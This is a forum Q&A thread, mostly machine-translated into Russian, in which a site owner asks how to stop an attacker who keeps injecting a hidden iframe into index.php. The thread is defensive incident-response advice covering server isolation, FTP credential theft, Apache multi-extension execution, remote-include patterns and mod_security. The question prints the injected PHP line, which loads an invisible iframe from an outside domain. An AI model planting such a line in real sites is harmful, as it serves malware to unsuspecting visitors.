Порча php сайта
Возможный дубликат:
Мой сервер был взломан АВАРИЙНЫЙ
кто-то вторгается в наш сайт и помещает следующую строку на нашей главной странице (index.php):: В следующем коде bottom.php - это наш собственный файл, и нарушитель помещает "echo <iframe .... >;"
линия между нашим кодом "include_once".
<?include_once('bottom.php'); echo "<iframe src=\"http://clydaib.net/?click=86B26\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; ?>
Пожалуйста, помогите мне, чтобы предотвратить это нарушение.
Версия PHP 5.2.9, Система: Linux hansens 2.4.32-grsec-opteron-peon-1.1.1 #1 SMP Пт 21 декабря 15:45:17 PST 2007 i686
5 ответов
First thing you should do, if you haven't already done so, is lock the server down as much as you realistically can while you determine what the cause is. In an ideal world, I'd take the machine off line while I found out what was going on.
Попытайтесь определить, что было причиной этого (простите за каламбур). Если это какая-то атака через http, определите, откуда она взялась и что еще могло быть скомпрометировано. Может ли это быть компромиссом всей коробки?
Вашему ядру около 2 лет, ваш PHP не самый современный для этой ветки. Я думаю, что ваша установка Apache не так. Используете ли вы установленный пакет типа CMS для сайта? Это актуально? Вы удалили какие-либо каталоги установки? Каковы права на файлы?
Если бы это был я
- Отключите машину
- Убедитесь, что проблема содержится (возможно, переустановить, чтобы убедиться)
- Убедитесь, что программное обеспечение обновлено и все известные дыры в безопасности закрыты
- Восстановите содержимое из заведомо исправной резервной копии (у вас есть резервная копия, верно?)
- Посмотрите на что-то вроде Tripwire
Это может быть полной чрезмерной реакцией на вашу проблему, но пока вы не узнаете масштаб "порчи", вы не будете знать, как далеко вы ее решите.
Во-первых, проверьте журналы FTP-передачи на предмет index.php и проверьте IP-адреса соединений - они из другой страны, например, из Китая, России и т. Д. Если это правда - измените пароль FTP, очистите сайт и выполните сканирование на наличие вредоносных программ на всех компьютерах, где был использован / сохранен пароль. Вредоносные программы довольно часто крадут сохраненный пароль или включают кейлогер, который отправляется злоумышленнику и используется для того, чтобы сайты распространяли / размещали вредоносное ПО. Кроме того, помните, что FTP отправляет все пароли в виде открытого текста, поэтому не используйте его с открытым Wi-Fi или другими ненадежными сетями.
если это не сработает, проверьте сайт на: а) скрипты загрузки файлов. Проверьте пути к файлам / проверка пути. Также убедитесь, что тип файла действительно проверен, а не только расширение. Apache mod mime имеет небезопасную "особенность", поэтому такие файлы, как evilscript.php.gif, будут выполняться как php. Ref:
"Следует проявлять осторожность, когда файл с несколькими расширениями связывается как с MIME-типом, так и с обработчиком. Обычно это приводит к тому, что запрос выполняется модулем, связанным с обработчиком. Например, если расширение.imap сопоставлено с imap-файл обработчика (из mod_imap) и расширение.html сопоставляются с text / html MIME-типа, затем файл world.imap.html будет связан как с обработчиком файла imap, так и с MIME-типом text / html. Когда он будет обработан, будет использован обработчик файла imap, и поэтому он будет рассматриваться как файл изображения mod_imap."
Решение: отключите php для каталогов, куда перемещаются загруженные файлы.
б) включить | требовать (_once) . Они могут использоваться для удаленного включения файлов, поэтому злоумышленник может написать php-скрипт, который будет выполняться на сервере и может изменять / удалять файлы. Ищите что-то вроде include ($_GET | $_POST | $_COOKIE | $_REQUEST | $_SERVER)(.?*) Решение: отключите remote_fopen, если ваш сайт не нуждается в них. В противном случае, сделайте ту же самую правильную проверку ввода (что было бы разумно сделать:). Также я предлагаю отключить register_globals.
c) Eval`ed пользовательский ввод / удаленные файлы. Помните, что пользовательский ввод может находиться в базе данных.
Также проверьте ваш сайт на наличие загруженных бэкдоров, так называемых "оболочек". Самое безопасное, что нужно сделать - это восстановить из известного безопасного резервного копирования:)
В последнее время он довольно популярен, когда вредоносные программы крадут сохраненные пароли [чаще всего от Total Commander] и отправляют эти учетные данные в командный центр. позже на других машинах подключитесь через ftp, скачайте index.php/html и добавьте вредоносный js/php. все автоматизировано.
Способ ограничить атаки на веб-приложения в apache - это загрузить и настроить apache mod_security.
Ссылка: посмотрите эту вводную статью mod_security
Есть много способов сделать это. Есть ли какое-либо поле ввода на главной странице или (другое) поле, которое может быть неправильно проанализировано для попыток эксплойта?
Сначала сделайте файлы PHP читаемыми веб-сервером, но не доступными для записи. Second check your various input fields for possible exploitation.